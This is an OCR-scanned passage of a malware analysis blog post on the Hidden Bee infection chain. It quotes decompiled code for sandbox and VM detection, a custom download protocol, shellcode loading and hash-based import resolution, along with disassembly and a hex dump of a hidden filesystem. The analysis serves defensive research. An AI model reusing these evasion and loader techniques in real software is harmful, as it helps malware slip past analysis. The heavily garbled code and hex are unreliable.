75| if { !GetComputerNameW(Buffer, &nSize) )

76 goto set_wm_flag;

77| we = (const WCHAR *)decode_memory(dword_2435F34);// L"SANDBOX"
78| if ( !lstrcmpiW(Buffer, wg) )}

79 goto set_vm_flag;

28| nSize = 1824;

81| if ( !'GetUserNameW(Buffer, &nSize) )

82 goto set_wm_flag;

83| w7 = (const WCHAR *)decode_memory(&unk_2435F88);// L"CurrentUser”
84| if ( !'1strcmpiW{Buffer, w7} )

85 goto set_wm_flag;

86| wi = (const WCHAR *)decode memory(dword 2435F34);// L"SANDBOX™
87| if ( !lstrcmpiW({Buffer, w8) )

88 goto set_vm_flag;

Checking the BIOS versions typical for virtual environments:

39| w9 = decode_memory (&unk_2435EE8); /7 "StrstrIA”
96| w10 = decode_memory(&unk_2435EC8); /7 "shlwapi.dll”
91| shlwapi_dll = LoadLibraryA(v1@);

92| StrStrIA = GetProcAddress(shlwapi dll, va);

93| if ( !strstria )

94 goto not_detected;

95 j_memset((int)Buffer, @, 2848);

96| w12 = decode_memory(&unk_2435EA8); // "SystemBiosVersion™

97 w13 = decode_memory(&byte_2435E70); // "HARDIWARE\DESCRIPTION\System"”
98| if ( read_registry_key(v13, v12, (BYTE *)Buffer, @) )

9a| {

1ee if ( ((int (__stdcall *)(WCHAR *, const char *))strstrIA)(Buffer, "VBOX") )
181 goto set_vm_flag;

182| }

183 v14 = decode_memory(&unk_2435E48); // "VideoBiosVersion”

184 w15 = decode_memory(&byte_2435E78); // "HARDWARE\DESCRIPTION\System"
185 if ( read_registry key(v15, w14, (BYTE *)Buffer, @) )

186 {

187 V16 = decode_memory(&unk_2435E28); /4 "virtualBox"

108 if ( ((int (__thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(vl7, Buffer, v16) )
189 goto set_wvm_flag;

110| }

111 w18 = decode_memory(&unk_2435EA8); // "systemBiosVersion™

112 v19 = decode_memory(&str Windows_CurrentVersion};// "SOFTWARE\Microsoft\Windows\CurrentVersion”
113 if ( read_registry_key(v19, w13, (BYTE *)Buffer, @)

114 8& ((idl = decode_memory(&unk_2435DB4), ((int (_ thiscall *)(int, WCHAR *, _BYTE *))Strstria)(vzl, Buffer, id1})// "55274-648-2673064-23950"

115 || (id2 = decode_memory(&unk_2435088), ((int (_ thiscall *){int, WCHAR *, | *))StrstrIa)(v23, Buffer, id2))// "76487-644-3177837-23518"
116 || (id3 = decode_memory(&unk_2435D5C), ((int (_ thiscall *)(int, WCHAR *, BYTE *))StrStria){v2s, Buffer, id3))) )// "76487-337-8429955-22614"
117

118|set_vm_flag:

119 vm_detected = 1;

128

121| else

122 {

123|not_detected:

124 vm_detected = @3

125

126 return vm_detected;

127}

Detection of any of the features suggesting a VM results in termination of the component.

Downloading new modules
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The next elements of HiddenBee are downloaded over the custom “STLP” protocol.

B24348F6 lea eax, [ebpt+var_48)]
B24348F9 push offset asltp ; "sltp”
B24348FE push eax

B24348FF call j_strcmp

e2434984 pop ecx
82434985 test eax, eax
@24349a87 pop ecx
82434988 jnz loc_2434AD9

The raw TCP socket created to communicate using the SLTP protocol:

socket = WSASocketA(2, 1, @, @, @, lu); // address family: 2 (AF_INET)
// type: 1 (SOCK_STREAM)
f/ protocol : @ (unspecified)
// lpProtocolInfo: NULL
// group: NULL
#/ flags: 1 (WSA_FLAG_OVERLAPPED)

vB[13] = socket;
if ( socket I= -1
i
vInBuffer = @x25A287B9;
w32 = @xDDF3u;
Vi3 = @x4660;
vid = @x8Eu;
w35 = @xE9u;
viE = @x7e;
= @xE5u;
= @Bx8Cu;
39 = Bx74;
= B;
val = @x3E;
if ( BindIoCompletionCallback(socket, LpoverlappedCompletionRoutine, @) )
{
callback = @3
if ( WSAToctl(vG[13], @xC880@886, &vInBuffer, @x18u, &callback, 4u, (LPODWORD}&cbBytesReturned, @, @) I= -1 )
*(_DWORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[4] = @;
*(_DWORD *)&name.sa_data[8] = @;
*(_WORD *)&name.sa_data[l2] = @;
23
viz = vB[13];
name.sa_family = 2;
*(_WORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[2] = @;
if ( bind(viz, &name, 16) != -1 )
j_memset((int)ve, @, 28);
if ( 'callback(ve[13], &v26, 16, @, @, &cbBytesReturned, ve) && WSAGetLastError() == Ox3ES )
return 1;
}
1

closesocket(ve[13]);

The communication is encrypted. We can see that the expected output is a shellcode that is loaded and executed:
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do
{
5 = vA[1];
i S )
if (w5 ==2)
{
B = *(va - 1);
if (w6 + *vd > a2 )
break;
fz zize = *yd:
=_=LleE St |
ustom_fs = & buffer[ve];
}
}
else
if ( *(v4 - 1) + *va > a2 )
break;
new_module = (wvoid (_ stdcall *)(int (_ stdcall **)(int), _BYTE *, DWORD))VirtualAlloc(®, *v4, Bx1006u, Bx40u);
if ( new_medule )
j_memepy((int)new_medule, (int)& buffer[*(v4 - 1)], *v4);
++bufferaz
vd += 3;
b
while { (unsigned int)buffera < *({_DWORD *)_buffer + 1} };
if { new_module )
{
if ( custom_fs }
{
F malloc,
(__stdecall *)(int))to_memcpy;
int))virtualAlloc;
T i int {__ int))virtualFree;
decode memory(&lnput arr); /! "IwQueryInformationProcess”
= decode_memory (&str_ntdll d1ll);
/8 = GetModuleHandlef(v7);
functions_list[5] = ( nt (__stdecall *)(int))GetProcAddress(vs, v9);// ZwQueryInformationProcess
new_module(functions list, custom_fs, fs_size);
VirtualFree(new_ medule, @, axseebu) ;
}
}

The way in which it is loaded reminds me of the elements we described recently in “Hidden Bee: Let’s go down

the rabbit hole“. The current module loads a list of functions that will be passed to the next module. It is a
minimalistic, custom version of Import Table. It also passes the memory with the downloaded filesystem to be

used for further loading of components.

The !rcx package

This element retrieves the custom filesystem used by this malware. As we know from previous analysis, Hidden
Bee uses its own, custom filesystems that are mounted in the memory of the malware and passed to its
components. This filesystem is important for the execution flow because it contains many other components that

are supposed to be installed on the attacked system in order to continue the infection.

As mentioned before, unpacking the JPG gave us an !rcx package. After this package is downloaded, and its
SHA?256 checksum is validated, it is repackaged. First, at the end of the !rcx package, the list of URLs (JPG,
PNG) from the previous module is copied. Then, the ARIA key is copied. The size of the module and its SHA256

hash are updated. Then, the execution is redirected to the first stage shellcode fetched from the !rcx.

This shellcode was the one that we saw at first, after decoding the !rcx package from the JPG. Yet, looking at this
part, we do not see anything malicious. The elements that are more important are well protected and revealed at

the next execution stages.

The shellcode from the !rcx package is executed in two stages. The first one unpacks and prepares the second.

First, it loads its own imports using hardcoded names of libraries.
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eaeaaaBl sub edi, ecx

282883 mov [ebp+var_4C], EEh ; "K'
BERBEAEY mov [ebp+var_4aA], &5h ; ‘e’
BPRBBAEF mov [ebp+var_48], 72h ; 'r'
2eepaacs mov [ebp+var_46], GEh ; 'n’
aeesaacE mov [ebp+var_44], &65h ; 'e'
aeaeea0l mov [ebp+var_4@], 33h ; '3°
aeae8a07 mov [ebp+var 3E], 32h ; '2°
282800 mov [ebp+var_3C], 2Eh ; ".°
2E28ERE3 mov [ebptvar_3A], E4h ; "d°
BERBBAES mov [ebp+var_18], &Eh ; 'n’
BEBBBAEF mov [ebp+var_16], 74h ; 't'
BERBRAFS mov [ebp+var_14], &64h ; 'd’
BERBRAFE mov [ebpt+var_E], 2Eh ; ".'
2eae8181 mov [ebp+var _C], &4h ; "d’
aeaee187 mov ebx, [esi]

The checksums of the functions that are going to be used are stored in the module and compared with the names

calculated by the function:

llunsigned int _ stdcall calc_checksum(_ BYTE *func_name)
2

3| _BYTE *_func_name; // edx

4| unsigned int checksum; // eax

5| char next_char; // cl

G| unsigned int prev_res; // esi

7| int _next _char; [/ eax

a8

9| _func_name = func_name;

18| checksum = @;

11| for { next_char = *func_name; next_char; ++ _func_name )
12| {

13 prev_res = (checksum >» 13) | (checksum << 19);

14 _next _char = next_char;

15 next_char = func_name[1];

16 checksum = prev_res + _next_char;

17| 1}

13| return checksum;

19[}

It uses the functions from kernel32.dll: GetProcessHeap, VirtualAlloc, VirtualFree, and from ntdIl.dll:
RtlAllocateHeap, RtlFreeHeap, NtQueryInformationProcess.

The repackaged !rcx module is supposed to be supplied as one of the arguments at the Entry Point of the first

shellcode. It is most important because the second stage shellcode will be unpacked from the supplied !rcx

package.
Ll 4
2eesal99 mov ebx, [ebpt+arg_C]
aeesaloc mov ecx, [ebx+d]
2eae819F cmp dword ptr [ecx], 'ker!’
Geaa81AS jnz loc_28B

A new memory area is allocated, and the second stage shellcode is unpacked there.
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new_module_ep = 83

vl5 = GetProcessHeap(8, *((_BYTE **}i + 2));
vl6 = (_BYTE *)RtlAllocateHeap(vlS);

indx = @;

buffer = vle:

if ((vie )

1

if ( *((_DWORD *)i + 2) > @u )

w18 = i + 16 - v16;

do

{
++inde;
*v16 = v16[v18] ~ @xEl;
+vl6;

h
while ( indx < *({_DWORD *}i + 2) };
_to _rcx_ptr = to_rcx_ptr;

allocated bufl = (unsigned _ intl6 *)_allocated_bufl;
if ( decode_module(
(int)&virtualalloc,// loaded_functions_list
(int)buffer,
*((_DWORD *)i + 2),
(int)_allocated_bufl,
F((_DWORD *)i 4 3)) == *((_DWORD *)i + 3) )
new_module_ep = allocated bufl;
v2@ = GetProcessHeap(@®, buffer});
RtlFreeHeap(v2e);
if ( new_module_ep )
((void (_ stdeall *)(int (_ stdcall **)(_DWORD, _DWORD, signed int, signed int), int, _DWORD, _DWORD)}new module ep)(
&virtualalloc, // loaded_functions_list
flag,
_to_rcx_ptr[1],
*_to_rcx_ptr);

result = (unsigned _ intlé *)VirtualFree(_allocated_bufl, @, @x3000);

Inside the second shellcode, we see strings referencing further components of the Hidden Bee malware:
/bin/i386/preload /bin/i386/coredll.bin

The role of the second stage is unpacking another part from the !rcx: an !rdx package.

if (Crdx ptr )

w32 = v18[3];
crypt_init(&crypt ctx, &crypt keybuf);
dec_size = @;
if ( wie[2] )

{
chunk_ptr = (_BYTE *)sizea;
for { 1 = (int)((char *)v18 - sizea + 16); ; i = (int)}({{char *)vl@ - sizea + 16} )
1
crypt_round{chunk_ptr, &chunk_ptr[i], (int)&crypt_ctx);
dec_size += 16;
chunk_ptr += 16;
if ( (unsigned int)dec_size »= v1e[2] )
break;
b

rdx_ptr = _rdx_ptr;

if ( decompress{(int)functions_list, (int)rdx_ptr, &332, sizea, v18[2]) )
goto LABEL_38;
w17 = ((int (__stdcall *)(signed int, signed int))}functions_list[2])(8, 12);

w18 = (_DWORD *)((int (__stdcall *)(int))functions_list[3])(v17)};
v3id = vl1g;
if ( 'vis )

goto LABEL_38;
*v18 = rdx_ptr;
if ( *rdx ptr == ‘fdr!’
1
v18[1] rdx_ptr + 13
v1g[2] = vie[3];

}
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aeeessly mov [eax], ebx
aeeerslE cmp dword ptr [ebx], 'xdr!’
@eeae621 jnz short loc 631

From our previous experience, we know that the !rdx package is a custom filesystem containing modules. Indeed,

after the decryption is complete, the custom filesystem is revealed:

HESEESER FUSH ERX
HASEESE 1 CALL HBESEZESE crypt_init
HASEESEE AHD OWORD FTE S5:[EEBF+EXC]. G:&
HASEESER CHF OWORD PTR DS:[ESI+E4S],@xE
HESEEEEE |+ | JEE SHORT HBRSSHSF2

BASEEECH HMal EEX, OWORD FTE S5:[EEF+8x18]
BASEESCS LEA ERX,DOWORD PTR DS:[ESI+@x18]
BESEESCE SUE ERH, EBX

HESEESCE MO OWORD FTRE S5: [EEF+EXE1. EAX
FESEESCE [+ | JHP SHORT EBRS&RS0E

HASEESCD Mal ERx, OWORD FTR S5:[EEBF+E25]
BASEES0R LER ECX,OWORD PTR 55:[EBP-8u15C]
HESEEE0E ROD ERX, EBX

BASEEE0S FUSH ECH

BASEES0Y FUSH ERX

BESEES0A FUSH EEX

HESEES0E CALL BBS&z192 crypt_round
HESEESER AOD OWORD FTR S5:[EEF+8MC]. 0= 19
HHSEESES AODO EE:X, Ex 1@

HASEEASET Mo ERX, OWORD FTE S5: [EEBF+ExC]
HESEESER CHP ERX, OWORD PTE DS:[ESI+E#E]
BEASEESED |~ | JE SHORT GAS&ESCD

BASEESEF MOL EEX, OWORD FTRE S5: [EEF-B8181
BESEESF 2 FUSH OWORD PTR DOS5:CESI+@xE]
HESEESFS LER ERx, OWORD PTR S55: [EBFP-B2C]
HESEESF S FUSH OWORD PTR 55: CEEP+@:168]
HHSEESFE FUSH ERX

HASEESFC FUSH EEX

HHSEEEFD FUSH EDI

CALL B8SEBEAE

ARG E TEST ERX,ERAX

BESEEEES [+ | JHE SHORT BBS&EE4E

HESEEEET FUSH &xiC

FHSEEEED FUSH &x3

CHLL DHERD FTR DO5:CEDI+@R:3] kernel32.GetProcessHeap

e e e TR

4
ERx=BE88E8EHE

Address | Hen dump ASCIT

gizipadclzl 72 64 FEIZ2 BE DR B0 ED @1 DB B0 20 G5 08 08| frda'™.. .70, 08,
HlzigEcs| 62 69 6E ZF 69 22 38 3¢ 2F ¥@ 72 65 &C &F &1 4| bin-iZ8é-preload
HisiBEcc| 08 B0 45 A8 08 B8 60 B3 08 B8 BA 2C 81 88 62 69| ..E...rll. .. B.b1
BisieErs|6E 2F 61 6D &4 35 34 2F 63 6F 72 65 &4 6L &0 ZE|n-amdéd-coredll.
EizipEzci 62 69 EE BB DA &4 OB B0 BB &D 24 Bl B8 B8 89 08 bin..d...mdB....
EizipEscied 62 €9 6B 2F &1 D 64 26 24 2F 7O ¥2 &£ &C &F|.binsamdedsprelo
EiziBEns 61 &4 BE BB OF B0 BE B0 S0 20 Bl B0 18 G5 00 00) ad..g... ;=B k..
GiziBEps 62 €9 EE 2F &9 22 22 26 2ZF &B 7@ 6C EF &1 &4 &5\ bin-i288-kploade
@lzi@EEce| v2 ZE 62 69 SE BB DA AD 0B @0 BE YD 42 @1 688 08| r.bin..g... 2B0..
BlzigEns| 10 88 68 62 &9 6E 2F 61 &0 &4 26 34 ZF &2 &F &D|..bin<amd&d-con
HisiBEES| 60 6F 6E ZE &4 &C &C B0 BA CE 98 828 88 70 SE Bl mon.dll..fFa.. 30
BisiBEFS| B8 B0 45 B8 B8 &2 &9 6E ZF 69 33 38 36 ZF 6B 6C|..E..bin~s1386-k ]
EiziBEinsfeF &1 &4 65 Y2 ZE &2 69 E6E @O BB ES B0 B8 88 70| ocader.bin..fi...}
Ei2iEiicfA2 61 B 62 OF BB BR &2 &9 6E 2F ¥2 &8 &9 &0 ZE|uB.h-..binsshim.
Eizi@izelel €9 EE BB 0E @Y B1 B0 BB EE DR B1 BB 20 60 08 bin..-8..6 B.0..
Gizimizoion 62 &9 6E|ZF &1 6D 64 26 24 2ZF ¥B F2 2ZE &2 69| .binsamdédspr.bi
Ei2i@E142(6E ZE 72 69 5F BB DA 22 01 @0 0B &5 AE Bl 88 28| n.zig..(8..e30.0
Hizi@icc|og 80 B8 62 &2 6E ZF 69 35 3% 26 2F F8 ¥2 ZE &2|...binsiZ86-pr.b
BisiEics| 6% 6E 2E 73 6% &7 DA B0 45 81 B8 B8 ES HE 81 08| in.sig..FB. 620,
Hisi@ivc|oa BH B8 B8 52 &9 6E 2F &1 60 &4 36 34 2F 7B 72| ....bin- andéd- pr
Eizi@ise| 2B 62 €9 6E DA BB &2 A1 BB B8 ES BS 81 B8 80 02 .bin..cd..hAB..0
Eizi@icociod BE 62 &9 6B 2F €9 223 28 26 2F VO F2 2E 62 €9 ..bin-si22cspr.bi
Ei2i@Einsf6E GO BE 27 6] B0 GE EE BD @1 0B FO BE 08 G0 &2\ n..ql..h20.-%..b
Gizi@ipe| e 6E 2F &1 6D &4 26 24 2ZF EB 7@ &C EF &1 &4 &E| insamdéd-kploade
@i2i@ice|v2 ZE 62 69 SE BB DA AZ Bl @0 6@ DS C2 @l 688 08| r.bin. .EB..AME..
Hizi@ibs| 16 88 B8 62 &2 6E ZF 69 33 3% 26 2F &2 &F &0 &D| ... bin~ 1386 comm
Bi21B1ES|6F 6E 2E &4 6L &C BB B8 CH 81 B8 B8 DS 0P 81 08 on.dll. .8, .FHE,
gisi@iFcioa ZE 81 88 62 &9 6E 2F 69 33 38 36 ZF 63 &F 72| ..8.bin-i386-cor
EiziEzas 65 &4 6C &C ZE &2 €9 EE DB BE BB B0 B8 B8 DS 67 edll.bin...... -
EiziEz1oi@2 60 28 B2 0@ B8 &2 69 6E 2F &1 60 &4 26 24 2F| e (M. binsamdéds
Eizipzzol el 6C 6F &1 &4 65 72 2E &2 €9 6E BO BB 98 98 98|k loader.bin..EEE
Ei2iE=22 B2 2E OO G0 0F B0 DR B0 OB B0 0B B0 OB B GE O RM. . ...cciieana
GiziBz40| 08 B0 60 A0 08 B0 OB B0 DB B0 0B B0 BB SB OB E5| ... ..0000.. koe
HlziE=tcioa 72 B8 6E DB &5 DB &C B8 33 08 32 88 ZE 88 24| .r.n.e. 13020, .d
BisiBzcc{oa 6C B8 &6C 0A BE O BS BA AR AR AR FF 38 FF S8 . l.l... ap
gisi@=rs{@4 FF EB S8/ 5B CC SB DB 53 ER B2 52 51 S8 ES 7H| # OxilrddarfREPR:
EiziE=22{ @2 80 68 C3/ 55 8B EC 82 EC @C 2B 4588 29 45 FCle., HUodag. GEQEER
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So the part that was hidden in the JPG is, in reality, a package that decrypts the custom filesystem and deploys the
next stage modules: /bin/1386/preload and

/bin/i386/coredll.bin

. This filesystem has even more elements that are loaded at later stages of the infection. Their full functionality

will be described in the next article in our series.

Even more hidden

From the beginning, Hidden Bee malware has been well designed and innovative. Looking at one year of its
evolution, we can be sure that the authors are serious about making it even more stealthy—and they don’t stop

improving it.

Although the initial dropper uses components analogous to ones observed in the past, revealing their encrypted
content now takes many more steps and much more patience. The additional difficulty in the analysis is

introduced by the fact that the URLs and encryption keys are never reused, and work only for a single session.

The team behind this malware is skilled and determined. We expect that the Hidden Bee malware won’t be going

extinct anytime soon.

Source: https://blog.malwarebytes.com/threat-analysis/2019/08/the-hidden-bee-infection-chain-part-1-the-stegano-pack/
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